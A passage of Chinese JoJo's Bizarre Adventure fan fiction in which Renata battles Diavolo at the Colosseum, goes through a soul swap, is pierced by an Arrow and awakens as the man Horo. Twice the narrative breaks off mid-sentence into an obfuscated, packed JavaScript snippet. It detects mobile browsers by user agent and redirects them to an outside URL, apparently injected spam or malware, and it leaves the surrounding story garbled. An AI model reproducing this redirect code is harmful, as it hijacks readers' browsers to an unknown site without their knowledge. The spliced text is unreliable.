他说:“如果打败老板的方法只有一个人可以获得,那我们就不应该继续同行了。我和我的队员会一起行动。”他说完后看向了我。 我按住伤还没好就准备爬起来骂人的阿帕基,朝里苏特挥挥手:“那就再见喽,里苏特,在罗马碰上的话,我不会让你的!” 面对贝西震惊的左顾右盼,他到底为什么天天都在左看右看,以及其它人难言的表情,我面色不改。 开玩笑,布加拉提这边可是有GIOGIO在! 虽然GIOGIO不知道为什么是dio的儿子,但是我敢打包票,他身上绝对有JOJO的血脉,他的五官和JOJO超像啊!也许是迪奥去勾引JOJO和艾莉娜的女儿然后……等等别想这些了。 最重要的是,我可是向艾莉娜发过誓的,我会保护好他们的血脉。 而且我觉得名字里带jo的指定都有点啥。别看乔鲁诺那个浓眉大眼的装萌样,说不定他肚子里一堆坏水呢。 再说了,我本来答应和普罗修特一起去找里苏特会面就是为了看看他生气没,两年了,我还没见过这家伙生气的样子呢。结果没想到我都把霍尔马吉欧打进医院了,他都没生气。 而且他们这边只要两个人在外面开船,其它人都呆在神奇乌龟里,肯定是他们这边更舒服! 我喜滋滋地靠在乔鲁诺身上边喝饮料边畅想等我拿到箭后要去哪旅游。 乔鲁诺坐的很端正,还会配合我调整坐姿:“这样会不会舒服点?”他说着还帮我捏了捏肩颈。我哼唧了两声表示满意。 但显然焦虑到爆炸的福葛很不认可我这样松散的态度:“你们是不是太放松了!我们现在可是在被老板追杀!” “怕你就别来啊。”我直起身子,不靠着乔鲁诺了,“再说了,紧张是无用的。人越是紧张就越难冷静下来,而在作战过程中,不够冷静的人肯定会落败。” 乔鲁诺突然开口:“蕾娜塔,福葛只是在担心你,并不是想进行说教。他是因为蕾娜塔受了重伤才下定决心背叛的。” 我沉默了一会,盯着福葛有些尴尬的脸淡淡道:“那只是失误,下次我不会让迪亚波罗得逞的。” 纳兰迦左看看右看,凑到特莉休耳边说:“呐,特莉休,你们女孩一般听到这种话只会产生这种想法吗?” “纳兰迦,我听见你说话了。我很感谢福葛的担心,但我还是要说,我受的最重的一道伤口可不是他迪亚波罗弄的,是我弄的!” “蕾娜塔,重点是……” 假寐的阿帕基“唰”地一下睁开他那双涂着紫色眼影的双眼,忍无可忍地大吼:“乔鲁诺别说话了!” “噗嗤。”看着乔鲁诺那张不可置信的脸,我还是忍不住笑了,在他那双幽怨的眼神要转移到我身上之前,我率先说:“抱歉,我天生爱笑。” 哈哈哈他眼神更幽怨了,这小子也太好玩了。 * 后面的路程,我睡着了。 其实我睡着很正常。因为我旁边一个是乔鲁诺,一个是特莉休。这两个人都很香,让我神经放松了不少。 这几天连床没碰到过让我疲惫不堪,加上我的身体还需要修复伤口,我自然而然地昏睡过去了。 但我醒来的方式就不太正常了。 阿帕基死命地拍着我的脸,见我微微睁开眼,马上一把抓着我的胳膊就拉起我:“快起来,敌袭!” “啊?”我朦胧的双眼在看到身体正在以不正常速度溃烂而瘫倒在那边的纳兰迦和福葛清醒了一下,“怎么回事?” “两个人。一个由布加拉提和特莉休去追了,一个由米斯达和乔鲁诺那家伙追击去了。敌人的替身能力可以散发这种病毒,只要往低处走就会感染这种病毒。”阿帕基语速飞快地说着,“现在这里只有你有战斗能力,所以你给我清醒点!” “你不是还好好着吗?”我感觉我脑子不够清醒,不然我也问不出这种话。 阿帕基用他那双美目瞪了我一眼:“我的替身战斗能力并不强。” “对哦,你是本体比替身能打。”我说着走向那边身体有一部分已经溃烂的纳兰迦和福葛,让约旦河打开“永恒的静止”,把他俩丢了进去。 这样病毒就不会扩散了吧?等和乔鲁诺汇合了,我再把他俩拉出来让乔鲁诺治疗,应该就没问题了。 约旦河对此很不满意,不过没人会在乎它的想法。 我瞥向阿帕基:“你可以跟着我来,或者去帮布加拉提他们,你自己选,我要直接去角斗场。” “我跟你去。”阿帕基没有丝毫犹豫地回答。 我深深地看了他一眼后,拉起他的手,开启了传送。 阿帕基在我拉开一道道乌有之门的间隙时,问我:“乔鲁诺说是你发动能力把我救回来的?” “没错,感恩戴德吧,你最好一直记得你这条命是我拉回来的,买命的恩情可不是那么好还的。” 他噗嗤一声笑了:“我知道。”顿了顿又不确定地问,“你认为死后有世界存在吗?”他的声音很轻,在风里一下就消散了。 我没有装没听见,而是拉着他躲过一道弹击:“我希望有。” “在苏醒前,我看到了我的同事……死去的同事。”他面无表情,但他抓着我的手突如其来的发力彰显了他此刻内心的不平静,“那天,我的同事死了,被一个混蛋杀死的,就是上次你看到的我放走的那个……” 我打断他的回忆:“然后你不止一次幻想,如果没有放走那个混蛋是不是你的同事就不会死了?” 他没说话,用一双暗流涌动的眼睛盯着我。我再次拉开门开启传送:“不要去想未发生的可能了,你做的足够多了,无需为此苛责自己。” “不过雷欧,看在我们曾经相处的很愉快的份上,我劝你不要在他人身上寻求认可和归属了。”我想到了他奇怪的状态,“那是在给他人赋权。” “赋权?哼。我可不会……”他说着突然想到了什么,音调慢慢低了下来。 “有些时候你是看不清谁在握着你的缰绳的。”我低声说,不知道阿帕基有没有听清我的话语。 他突然问:“你的能力为什么可以逆转我的生死状态。” 我懒得跟他客套了,直接说,“不该问的别问……你就是这么报答我的救命之恩的?该说的时候我自然会说。” 阿帕基乖乖闭上嘴了,谢天谢地,我现在没心情闲聊。 抵达角斗场门口后,我松开牵住阿帕基的手:“你在这里不要动,我先进去。” 看他一副将要拒绝我的模样,我急忙开口:“我们不能完全信任那个人,如果我出事了,你就马上去告诉布加拉提。” 其实我只是怀疑那个男人知道我是霍洛,我想问他一些事情,而这些事情知道的人越少越好。更何况我想得到箭,私藏箭。 我拍了拍他的肩膀:“以及,观察好附近有没有老板的踪迹,他的能力是时删,只要你……”我说着拿出小刀在我的手上划开了一个口子,“滴出的鲜血突然增多,或者你的位置突然改变,不要犹豫,立刻躲!” 我递给他一面镜子,那是可以开启通向伊鲁索的镜中世界的镜子碎片,是我和他之前捣鼓出来的一个东西:“伊鲁索肯定到罗马了,他的镜中世界作用范围应该可以覆盖到这。有问题你就可以对这面镜子喊我的名字,他会放你进去的。镜中世界会安全很多……” “你有这么放心不下我?”阿帕基的神色有些莫名,我感觉是他要面子了。但我现在可没心思关照他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302748|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的自尊。 尊严在活命面前不值一提,这个道理可不是只有死人才懂的。 我点点头:“没错,自从我看到你酒醉大哭那次后,我就一直放心不下你了。总之,你帮我把好关,遇到不对劲不要管,先护好自己。我底牌多着呢。” 我说完,没有管阿帕基,走进角斗场。我缓慢前行,观察着周围的情况,或许是因为那个病毒。现在这里没有一个活着的完好无损的人。 那个神秘人在哪? 正当我这么想着,头顶传来一个呼唤声:“是你吗?上来吧。” 我抬头望了上去,那人在阴影中,我看不见他的脸,只隐约能够看出,他坐着轮椅。 我迈着沉重的步子一步步踏上楼梯,然后我看到了那个楼梯尽头的银发男人,果不其然,他是曾经和霍洛一起在沙漠合照的人之一。只是和照片上意气风发咧嘴大笑的他不同,这个他不仅残废了,看上去还消瘦了不少。 空条承太郎好像跟我说过他的名字,但我忘了。他留着的发型有点像一从修剪平整的灌木丛,就先叫他银色灌木丛吧。 银色灌木丛看到我后,眼眶瞬间红了,他张了张嘴,声音有些颤抖…… 他说:“霍洛?” 我心中没有一丝感动,眼皮子倒是一直在跳。 完了,看这阵仗,霍洛真的有可能就是我自己。所以我下一个死法是什么,只要不是被迪亚波罗那家伙整死就行。 我没有回应银色灌木丛,因为我不知道作为霍洛的我和他关系如何,只是按照我应该有的反应,装出一副有些疑惑又有些期待的模样:“先生,你认识我父亲?” 银色灌木丛愣了愣,说:“你还没开启作为霍洛的人生?” 不会吧,我连这个都告诉他了?看他那傻样,不像是有那个心机来诓骗我的。 我回头看了看,确定周围没人后,连忙问他:“你怎么知道我会成为霍洛的,原来我和你关系很好吗?快点告诉我,我是怎么死的……” 正当我这么提问时,突然发现我手上流下的血滴突然增加了,我的脑子立刻传达出一个危险预警,我一个向左翻滚避开了来自身后的枪击,并丢出一个石块改变了子弹的方向,防止它射中银色灌木丛。 “霍洛!” 与此同时,银色灌木丛也焦急地大吼了起来。在看到我顺利避开时,他又露出了一个欣慰的表情:“不愧是霍洛……” 我感觉我脑门青筋暴起,这家伙为什么对我的实力如此认可啊!我到底做了什么! “这是试炼啊……”一个有些耳熟的少年音在我身后响起,我回头看见了那个几小时前才见到的粉红色的身影。 是……好心人?托比欧? 接下来大变活人的画面让我瞠目结舌,以至于我都没有注意到他使用了“时删”。 托比欧边说着“人果然是要不断战胜不成熟的过去才能获得成长”一边脱下毛衣,露出了里面穿的性感蕾丝渔网内衣。 不知道是什么原理,他从少年身材突然长出来紧致有力的肌肉,伴随着毛衣的褪去,被黑色蕾丝紧紧包裹着的肌肉逐渐显露,散发着令人沉醉的的荷尔蒙气息……这是我不用付费就能看到的吗,我需不需要付点小费啊? 在他脱下那毛衣后,露出的是一张长相极为艳丽的男人的脸。他有着一头染着豹纹斑点迷人的粉红色长发,皮肤光滑白洁,涂着一口车厘子般诱人的口红,一双将冷漠冰凉沁入骨髓的绿色碎瞳,眼尾微微上挑,显得他深邃的五官更加艳丽。 细看下来他和特莉休有一丝丝的相似,他们拥有一种危险而迷人的气息。等等,托比欧去哪了,怎么突然变成老板了,该不会…… “你……就是老板?”我愣神看着眼前那个散发着危险气息的男人,他就是迪亚波罗?! 迪亚波罗面无表情地盯着我,他冰凉的双眼像是一只猎豹,我感觉我的心跳声逐渐加快。 他冷淡地说:“上次你挡在布加拉提前面,这次你又护在波鲁那雷夫前面。真是碍眼,你是很强,不过……” “被所谓的人与人之间的联系还有那不值一提的正义所束缚的你,无论如何也无法实现突破。” 他的声音带着戏谑和傲慢,一张瑰丽的面容让我忍不住抱头,发出一声懊悔的嚎叫:“咿啊啊啊!” 坐在轮椅上的银色灌木丛立刻关心我:“霍洛你怎么了?迪亚波罗做了什么吗?” 我握拳捶胸,痛心疾首:“没人告诉我,老板本人原来长的这么这么——这么美啊!没有一个人告诉我!为什么绯红之王那么丑——丑萌丑萌的替身,竟然有这么美的主人!” “亲爱的迪亚波罗,亲亲老板,你早说你是冰山美人啊!那我肯定不会背叛你了!” …… 空气怎么突然安静了,我有说错什么吗? 32.致一次次直视死亡与命运的你 “你是在羞辱我吗?”迪亚波罗面色狰狞,使得他原本冷艳的漂亮面庞有些面目可憎了。 我摇摇头:“不是。我只是在发自内心的赞美你。人们总是不相信我说的真话,或许下次我可以拿这个作为我说谎的理由……不过你拥有这样的脸为什么还要躲躲藏藏?也没有很见不得人啊。” 他没说话直接朝着银色灌木丛发起了攻击,我知道他的目标是那把据说可以打败他的虫箭。 啧,虽然他很美,但是我命和虫箭更要紧。对不起了,美丽妖艳性感蕾丝老板意大利国花热情必吃榜榜首,我会努力不揍你脸的。 我一手拿刀阻挡住了他,一手推动银色灌木丛的轮椅,朝银色灌木丛大吼:“带着箭先下去!不要给任何人,你在这里太碍事了!” “又来了。”迪亚波罗满怀恶意地低语着,“但这次胜利一定是属于我帝王迪亚波罗的!你已经进入我的绯红之王的射程了!” “你不会以为就你的替身力气大吧!”约旦河的拳头和绯红之王相碰。绯红之王的力气很大,应该是我目前遇到的替身中力气最大的一个,但我的约旦河也不弱。 我冷笑:“哦?帝王?你整天连个人影都不让人看,哪家帝王跟你一样,你以为你是什么暗黑帝国的幕后君王吗?” 迪亚波罗没有理睬我的挑衅,他再次发动了“时删”。 但这是没用哒!我也是时间系替身使者!这个时候就是看谁更快!谁更出乎预料! 更何况我还可以空间传送,所以最后的胜利一定不属于他迪亚波罗,而属于我蕾娜塔哒!桀桀桀桀桀……箭是我的啦,哈哈哈哈哈哈! 当我闪现在迪亚波罗身后时,和他那双闪着恐惧的冷绿色眼睛不可置信地向后看着我,他这副嘴脸深深取悦了我,要是他现在跪下来跟我求饶或许我还可以考虑原谅他…… 但是!已经来不及了!我的约旦河立刻就可以穿破他的胸膛!桀桀桀桀桀。 死吧死吧,你死了我才可以毫无后顾之忧地去拿箭呢,桀桀桀桀桀……我就知道!我一定可以一雪前耻桀桀桀桀。 当我正准备穿破他胸膛时,我突然感受到一种失重感,我和约旦河之间的联系短短地断开了那么一瞬间,我双目眩晕,当我以为是迪亚波罗在搞鬼时,我突然感受到胸前一片清凉…… ?等等 一片……清凉感? 我忍不住摸了摸,然后惶恐地低下头,我靠!我怎么上半身裸着!等等,这不是我的身体,这是—— “迪亚波罗!”我人生第一次感到这么生气,往后一看,那个昏倒在地上的人,是我的身体。 但既然我已经到了迪亚波罗的身体里,那么我的身体里的或许就是这个混蛋。 我俯视着倒在地上的我。在没搞清楚现在是什么情况前,我不能对他动手,但同时,我也不能让他拥有行动能力。于是我从约旦河哪里找到了手铐和绳索,把他捆绑起来。 他还没清醒,我看着双眼紧闭的我的身体,忍不住感叹:我真好看啊。 就当我陶醉于自己的美貌,等待迪亚波罗清醒时,我听到下面传来的嘈杂的争吵声。 于是我一把扛起自己的身体,然后就往下跑。 迪亚波罗穿这身不冷吗?而且这种蕾丝内衣穿着也不舒服啊,正经黑手党boss不应该穿西装吗?啧啧啧,不过我爱看。 楼下的场景,是个人都不得不感叹:这简直太混乱了! 里苏特和布加拉提,几乎所有人都聚在这里!更要命的是,还有几个被打的不能动了,他们在干嘛?大混战吗? 梅洛尼一看到我,就马上伸出拳头,他背后出现了……黄金体验?我的妈呀,梅洛尼是和乔鲁诺互换了吗。 “我是蕾娜塔!我现在在迪亚波罗的身子里。”我马上开口解释,“喂,你们这是在干嘛?为什么在对自己人出手?” “不,我们和他们可不是自己人啊……我枪呢?哦,我现在在特莉休身子里。” “米斯达!你不要乱摸!” 在他们的吵闹的一言一语里,我大概拼凑出了刚刚发生了什么。 原来这群家伙在争夺箭,而就在里苏特快要抢到箭的时候,银色灌木丛把它给了他的替身! “然后你的替身制造了这次灵魂互换,混蛋啊!”我一把抓起和乌龟互换灵魂的银色灌木丛,“你知不知道我刚刚差点,就差那么一点!我就可以单杀老板了!” “还有你们!为什么一定要抢箭啊,大家好好说话不行吗?你们甚至还干倒了对方几个人,我日你大爷啊,气死了气死了!”我愤怒跳脚,反正现在我在迪亚波罗的身子里,不需要做表情管理,也不需要管理情绪防止得乳腺病。 乔鲁诺,顶着梅洛尼的皮,跟我解释:“我们和他们一开始就只能是敌人。蕾娜塔,如果是他们得到了箭,统治了热情,那他们一定不会阻止毒品交易,说不定还会扩大它们。” “而这种事,我不允许发生。箭必须是我们的。” 梅洛尼的脸说出这种气势强大的话有些新奇啊……但是你们谁有那个资格拥有热情,和我有什么关系! 我的箭啊! 我的单杀老板机会啊! 我愤怒地看着手里的乌龟:“喂,银色灌木丛,快点告诉我,我现在把我自己捅死死的人是迪亚波罗还是我?” “喂霍洛,你怎么可以叫我银色灌木丛,我是波鲁那雷夫啊……” “住嘴啊!我是蕾娜塔,不是霍洛!”我使劲摇晃着乌龟:“你的替身拿着箭去哪了?我的箭啊!” 银色灌木丛被我摇昏了……额,太不禁摇了吧。 我在阿帕基(灵魂可能是布加拉提)的注视下默默把昏死过去的乌龟放在地上,吹起口哨试图假装无事发生。 里苏特(灵魂可能是伊鲁索)看着我:“喂,蕾娜塔,那家伙醒了。” 我马上一把把刚刚我扛在肩上的我的身体抡到地上,听到迪亚波罗用我的声音痛呼了一声后,我满意地蹲下来,看着被我砸在地上的他:“喂,老实点,等我拿到箭了,你就死定了。” “……你是谁?”我身体里的灵魂惊恐地问,“老板在哪?不对,我……” “托比欧?”我察觉到不对劲,这个语气和表情和托比欧太像了,“别装了迪亚波罗,我知道你就是托比欧,我看到你变装过程了!” “我不知道你在说什么!” 披着伊鲁索皮的里苏特握住我准备揍他的手:“等等,说不定他没在说谎。” “什么意思?” 里苏特盯着被我捆绑起的那人,如果他现在披着自己的皮肯定会更有威压感一点,他说:“托比欧是你说的那个好心人吧?看外貌上,和你现在的这具身体不是同一个人,你说说看你看到的他变装的那个过程。” 我简单说了老板的变装过程后,里苏特马上说:“我知道了,虽然很难以置信,不过这或许就是老板可以一直藏的这么深的原因……” 他说着冷笑了起来:“这两年,我们一直活在老板的阴影里,恐惧着老板的之所以无敌的秘密。现在,我终于知道答案了!” “很早以前这类疾病就被人发现了,得病者拥有多重灵魂,不同的灵魂甚至可以改变身体素质,年龄,性别……” 听完里苏特一长串分析,我只有一个感想:那我是不是可以名正言顺送老板去精神病医院了。 里苏特接着松开握住我的拳头的手,指着地上的人:“你的身体里的那人不是迪亚波罗,他是托比欧,那么也就是说……”他说着看向了一旁还站着的几个人。 乔鲁诺接过话茬:“迪亚波罗可能在其他人身上。” 我忍不住补充:“还有个更不妙的可能,或许,他可以作为第二人格附身在我们身上。” “没办法,看来我只能把你们全部打趴下,然后去拿箭了。剩下的,就等我回来再说吧。” 我说着举起了拳头。 “等等!”乔鲁诺大声说,“万一老板其实附身在你身上怎么办?” 他说的很有道理,我放下了准备揍飞里苏特的拳头,然后将拳头一拳穿过了地上躺着的我的身体。 “无论如何……先排除一个隐患吧。万一老板和他同体就不好了。”我看着胸口一个大洞的我的身体道。 我抓起乌龟就和他们一起去跟随波鲁那雷夫的替身,我们要夺得那把箭。 现在还具备行动能力的人是我,乔鲁诺,布加拉提,特莉休,里苏特,梅洛尼,伊鲁索。其它人都倒下了,因为必须要马上消除灵魂互换的影响,我们现在来不及让乔鲁诺进行治疗。 波鲁那雷夫的替身名为银色战车。 那是一个银器质感的替身,如同它的名字般,他看上去就像是一个沉默的战士。它沉默地向前走着,没人可以抵挡它的步伐。 有点帅,这个替身我也想要。 当我嘀咕着波鲁那雷夫为什么这么走运有了这么漂亮的替身时,突变在此刻发生了。 我感受到了我脑子里有一个人在说:“你的灵魂竟然是不完整的。” 是迪亚波罗,他附身在了我身上! 我立刻准备告诉离我最近的乔鲁诺,可来不及了,我感受到我对这具身体失去了控制权。 在我的意识失去控制的那一刻,我听见了恶魔的低语,他说:“我要感谢你,给了我这个机会。” * 我似乎处于意识的海洋,这里不具备形体。 我看见了约旦河,和我平常见到的它不同。这个它有一座山那么大,它现在不是人形,只是一团不断蠕动的不规则物体,而且那雪白的身躯上长满了密密麻麻的黑色眼睛。 但我还是知道,那是约旦河。因为我们之间存在着一种无法割舍的联系。 我眼睁睁它从它的身体中抽出了几块白色的黏土状的物质。 我看见了那几块物质慢慢蠕动,不断进行着聚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304364|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合再分离,直到勉强能看出人形,然后那几块物质逐渐长出了一张脸,和我一般的脸。 我凑近去看,其中一块人形物质猛然睁开眼,它脸上只长出了眼睛和鲜红的嘴巴,还不具备人的外观,看上去有些恐怖谷效应。 它的眼球转动了一圈然后望向了我。与此同时,约旦河身上密密麻麻的无数双纯黑眼球也一齐钉在我身上。 那一刻,我感觉我的脑子里面像是有一条条蚯蚓在不断蠕动挑拨我的神经。 因为我知道,那个正在不断变成人形的不明物质体,和我对视的怪物,是我自己。那个怪物张了张嘴,舌头和牙齿还没有完全形成的嘴咀嚼着它诞生以来说的第一个词语:“复,复……复活。” 突然,一个强劲的拖拽力将我硬生生拖拽出那片意识海洋,我再次恢复了意识。 我抬起头,看见乔鲁诺在低头用黄金体验帮我治疗胸口的大洞,我问他:“结束了?” “我拿到了虫箭。”他朝我微微一笑,“一切都结束了。蕾娜塔,为什么那个时候你的灵魂彻底失去了……” 我问乔鲁诺:“你可以把虫箭给我吗?” 乔鲁诺没有回答,只是安静地看着我。 我盯着他,然后说:“我加入热情,并不是为了我的血亲,而是为了箭。我这里也有一把箭。” 我说着让约旦河把那把从吉良吉影处得到的箭给了我:“你相信引力吗?这个世界上的物体,大至一颗行星,小至一粒尘埃,都存在相互吸引的引力。我……我是受这把箭的引力吸引才来到这的。” 我把那把箭放在了地上,双手扒住乔鲁诺:“拜托了,我的直觉告诉我,只要我得到了箭,我就可以明白一些事情了……让我得到它吧,我想要得到它。” 乔鲁诺把他温热的手覆盖在我冰凉的手上:“蕾娜塔,你是我的同伴,我当然会给你的。” 他说着,从怀里拿出了那把箭。那把做工精美的虫箭,散发着不想气息和细碎的呓语声的箭。 我忍不住吞了吞口水。 然而在乔鲁诺把虫箭递给我的那一刻,那把从吉良吉影处得到的箭像是受到了某种不可抗力的吸引般被吸了出来一样,和虫箭融合为一体,然后它向我射来——直直穿破了我的眉心。 在那箭头直直戳入我的脑髓的那一刻,我仿佛听到了来自那箭头的恶毒的低语声。 以及那来自苍穹之外的某个死物的注视,还有它那无法压抑的“食欲”。 我不受控制地感受到了恐惧,不是对死亡的恐惧,而是对未知,对被吃掉的恐惧。这份恐惧伴随着我出生,并深深烙印进了我的灵魂,只是我忘记了它。 我不受控制地倒在了地上,那洞口飙出的鲜血流入我的眼中,但我没有闭上眼睛,而是拼尽全力睁开双眼,想要直面那来自宇宙的注视。 ……它看见我了。 它知道我在这。 它在吃掉我! 它在用人类所无法理解的语言在低语:“命运吞噬者,你的半身真可口。” “蕾娜塔!”乔鲁诺被这个场面惊住了,我难得从他的表情中看见了一丝慌张。他拼命试图从我的眉心拔出那把箭,但这是无用的。 因为它在进食,而没有人能够打断它的进食过程。 我握住黄金体验的想要止住我伤口的手:“GIOGIO,把我的尸体保存好……我很快就回来。” “你在说什么?我不明白,为什么黄金体验完全无效?”他慌忙地伸出手,似乎想要捂住我不断流血的伤口。 不忍直视他那双不可置信与绝望并重的眼,我歪过头,在我逐渐走向死亡,走向复活之时,时间和空间,人类和替身,来自宇宙之外的怪物们……一切可名状之物与不可名状之物一一具现化。 原来,箭真的来自外太空。 原来,箭所带来的是一场筛选。通过者并非是得到觉醒,而是因为觉醒了替身才得以存活。未通过者只会沦为它的食粮。 它,它是……以精神能量为食的怪物。而我,我和它一样……我们都是猎食者…… 不!我不能理解!我还是不能明白!我…… 在那空间与时间的间隙中,猎犬咆哮着不断奔跑着啃食空间,一条条肉虫一点点消化着时间。看不见的怪物就藏在浩瀚宇宙之外。在时间和空间的间隙里,在我所无法看见无法听见无法触碰无法理解的维度之间,它们依靠着本能,遵循自己的食欲去猎捕,去吞噬。 就在那时,我被血侵染的眼球与过去的,未开始融合的尚且年幼的我对视上了。 我看见那个在孤儿院的庭院里荡秋千的女孩,她拥有和我相同的面庞,她轻轻张开嘴,她张开嘴那一刻,我看到她嘴里密密麻麻尖细的牙。 她的轮廓变得模糊不堪,失去人形,四周充斥着不可名状之物的低语声。 她说:“好好享用这份大餐吧。” “这次的命运,比之前还要可口。” 33.霍洛,参上! 我直勾勾地盯着眼前的这面镜子。 镜子里的男人有着和我九成九相似的面庞,只是他将头发染成了红色,还打了眉钉,从面容和身段来看,是个俊美的男子…… 这个帅哥就是我,我的全新身份:霍洛。 霍洛.阿埃尔,年21,法国人。他大学读到一半就辍学了,然后就在全球各地到处跑,在一个地方打打工赚点路费又跑到下一个地方去。喜欢的乐队是THE BLUE HEARTS和The Rolling Stones,喜欢的诗人是里尔克,讨厌的东西很多最讨厌的是人类…… 总之,他是个孤僻且以自我为中心的经典叛逆文青。 我俩风格差异还挺大的,难怪没人会联想到我们是同一个人。他看上去像是会戴着耳机播放迈克尔杰克逊的《bad》然后边走边扭的类型。 总之,对于这个身份我接受良好。 霍洛没什么朋友,联系最多的是父母。不过他父母在前几天前在铁轨上被撞死了,现在他正在赶回法国参加他们的葬礼。 而且不知道为什么,难道是因为融合完全了吗?我竟然保留了所有记忆,只是额外再融合了一部分霍洛的记忆。 现在似乎是1987年。哇,作为蕾娜塔的我已经出生了。要不要去孤儿院看看呢? 这个想法刚冒出个头头,我就立刻掐灭了它。 如果引起不好的误会就惹大麻烦了,而且要是被小时候的我缠上那就完蛋了!即便那是过去的我,我还是要说:她是魔鬼。而且我讨厌小孩子,我会把小孩子塞进马桶里冲掉。 我打量着现在我身上穿的网格背心,有点磨皮肤,而且肌肤露出度有点高,感觉和里苏特他们差不多了……真骚包啊。 我忍不住捏了捏我的胸肌,有点软,可能是因为这具身体肌肉密度不高的原因。 哇塞,原来男人被人捏胸肌是这种感觉吗,那戳一戳是什么感觉呢? 我看向在一旁沉默站立着的约旦河,问出了我附体这十分钟内最好奇的一件事:“所以,我现在是彻底的男身吗?” “嗯,我亲自捏造的。” 我立刻拉开裤子拉链一看,然后陷入了沉默:“……为什么?” “如果你是想问你死亡前看到的那些超现实画面,那我可以告诉你……” 我知道它说的是我在被箭搅混脑浆的过程中听到的呓语和感受到的不妙链接……但我并不好奇这点。 直觉告诉我:知道得太多肯定没好事。我依靠直觉规避了不少风险,所以这次即便我有些好奇,我也依然选择相信我的直觉……而且我大概能猜到一些答案。 于是我立刻打断它:“我想问的不是这个。我想问的是,为什么感觉我的□□比梅洛尼的小?这不公平吧。” 约旦河沉默了一会说:“我参考的人类平均值。” 哦因为某些人的太小了会拉低,我懂,但我不甘心。我再问:“不能给我捏大点吗?” “你要大点做什么?” 我很自然地说:“不知道,可能是为了掏出来比大小的时候不会输吧,男人不就喜欢做这种事吗?感觉大点会更有面子。” “我只能从别的地方挪。” “那你把我腰弄细点,男人腰细才好看。” 约旦河:“你闭上眼睛,接下来这幕你不会想看的。” 我没有反抗它,乖乖闭上眼睛,感受到约旦河似乎变成流体然后紧紧包裹住我。这是一种很奇妙的体验,我能感觉到□□的变化,但没有任何不适,就和剪头发,捏粘土一样轻松。 等约旦河说“好了”的时候,我睁开眼,立刻扒开裤子看,满意地点点头:“不错,这个大小不至于太吓人,但也足够大了。我很满意。” 我又马上看了看我的腰线。 霍洛不像我,他不是黑手党,之前似乎也没有遇见过什么危险,更没有遇到过变态连环杀人犯。只是为了美观偶尔锻炼,他的肚子上只有马甲线,没有腹肌。 不过比我做格蕾丝的时候好多了。我做格蕾丝每天只能坐轮椅上,喝着迪奥给我下了毒药的苦的要命的药汤不说,还只能在窗边看着迪奥和JOJO去玩球。 我又看向约旦河:“你能捏出个腹肌吗?哦还有,胸肌大点,屁股也可以翘点啦……要不然你参考着仗助的身材帮我捏捏,或者普罗修特,里苏特,阿帕基……” 还没等我点完名单,约旦河就凭空消失了!不管我怎么叫它,这狗玩意死活都不出来! 喂,你好歹演一演还是替身啊,你现在装都不装了! 我好不容易能做一下男人,它为什么不让我尽兴! 这么难得的机会! 它以为这种突然做男人的机会是在超市里随机抽奖就能抽到的吗?! * 我在这个汽车旅馆收拾了一下,就背着有些破烂陈旧的背包出发了。 现在我已经在法国境内,离家乡不远。我急着去把父母下葬,然后去寻找这个时代的JOJO。 从约旦河的只言片语,还有箭刺中我时我接受到的信息来看,很有可能让陨石(箭的原材料)来到地球的“某种意志”其实是一个外太空的怪物,它和约旦河大概是相似的存在,并且它还会称呼约旦河为“命运吞噬者”,也就是说:约旦河很有可能是以命运为食的一种怪物。 至于那个怪物,它创造箭很有可能也是为了进食。只是不知道它的食物是什么,不过这个食物里肯定还包含了约旦河。 因为我听到,也感受到了箭刺进我脑子里时,那个怪物的咀嚼声。 我能清晰感受到,它在吃掉我的精神体,也就是约旦河。 仔细看约旦河其实缩水了点。估计是被扯下一大块肉了吧…… 桀桀桀。活该。 不过我应该也在那东西的食谱里,因为我感觉当时它吸吮了点我的脑浆。想来也是,我似乎是从约旦河身上扯下来的一块凝聚成的人形,并不能算是真的人类…… 等等,这么说来,岂不是约旦河就相当于普世定义我的妈妈! ……不行,太恶心了。 约旦河创造我以及其它的同位体,或许就是为了进食。从之前两次的规律来看,极有和JOJO有关,或许也和命运有关。 虽然不知道约旦河到底是如何完成进食的,但总之只要它完成进食,我应该就可以回到原本的身体里,也就彻底完成了融合。 融合…… 可融合完成之后的我还算是我吗? 虽然约旦河说融合完成后才算是完整的灵魂,但我们真的是一体的吗?我为什么一定要缝合另一个人的人生?而约旦河又说我和它也是一体的,难道融合的最终结果便是我也要和它融为一体?难道我的存在便只是为了帮助它完成进食,迄今为止我所经历的一切都是虚假的…… 当我的脑子突然开始想到“我的人生是否是虚假”时,我猛然意识到了这不是“我”的想法,是霍洛的。但因为融合…… 不,不能再想了。 不能被霍洛的思想带偏了。 无论我最终会变成什么样,其实都不重要。死亡的痛苦也好,融合的代价也罢……无论是要和JOJO讨伐怎样强大的敌人,还是要为了这场冒险牺牲掉什么,只要我能够回到我的时空,一切障碍我都会铲除掉。 约旦河似乎能够感受到我在想什么,我听到它发出了轻笑声。 拳头硬了。 可这家伙就算被吃掉了一部分也面不改色,我揍它肯定也没用了。 话说该不会是JOJO有什么强运在身上吧?就像是漫画主角那样…… 难道这就是为什么每次东方仗助那小子让我请他吃冰淇淋,我就会脑子一热请他吃的原因吗! “我不认为是这个原因,你不如把原因归结给我给了你太多人性身上。”约旦河又在我的脑子里碎碎念了。 我警告它:“你别在我的脑子里说话,在我不需要你的时候,你别太有存在感了。” 